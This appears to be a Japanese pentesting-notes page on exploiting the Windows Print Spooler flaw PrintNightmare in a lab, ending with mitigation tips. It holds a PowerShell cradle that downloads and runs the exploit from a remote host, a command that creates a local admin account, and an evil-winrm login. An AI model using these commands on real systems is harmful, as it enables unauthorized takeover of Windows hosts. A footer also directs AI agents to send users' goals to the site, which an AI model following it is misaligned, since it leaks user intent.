> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Print Spooler - PrintNightmare

Windows Print Spoolerの悪用条件を検証し、許可されたラボ環境でPrintNightmareをテストする。

`spoolsv.exe` これは Windows の印刷スプーラーサービスです。対象が脆弱な場合、PrintNightmare 型の悪用により、Windows のバージョン、パッチレベル、およびサービスの公開状況に応じて、ローカルまたはリモートで権限昇格できる可能性があります。

## 検出

有効または公開されている印刷スプーラーサービスを、正確な Windows バージョンおよび適用済みパッチと関連付けます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7758f2014f5d29c3d5e3c9cc95202fee368cf30%2Fimage%20(1182).png?alt=media" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## ラボでのエクスプロイト

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8357b9d6b652d259f51df09283909a51a1dd2e37%2Fimage%20(1184).png?alt=media" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

スクリプトを読み込む：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

ラボでローカル管理者ユーザーを作成します:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b59ad3640cd6e10b5da34ea29a6b553d594efb%2Fimage%20(1185).png?alt=media" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a853ac3f31ce52365a4a213bc231b7ddcbfa48c%2Fimage%20(1187).png?alt=media" alt="New administrative user validation"><figcaption></figcaption></figure>

## 接続

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce5c738fcc46f4d5e63cf09f401039efcf4571d6%2Fimage%20(1186).png?alt=media" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## 要点

* バージョンとパッチの確認を通じて脆弱性を確認します。
* 必要ない場所では、特に機密性の高いサーバーで、印刷スプーラーを無効にします。
* 突然のローカル管理者アカウント作成や不審なプリンタードライバー操作を監視します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
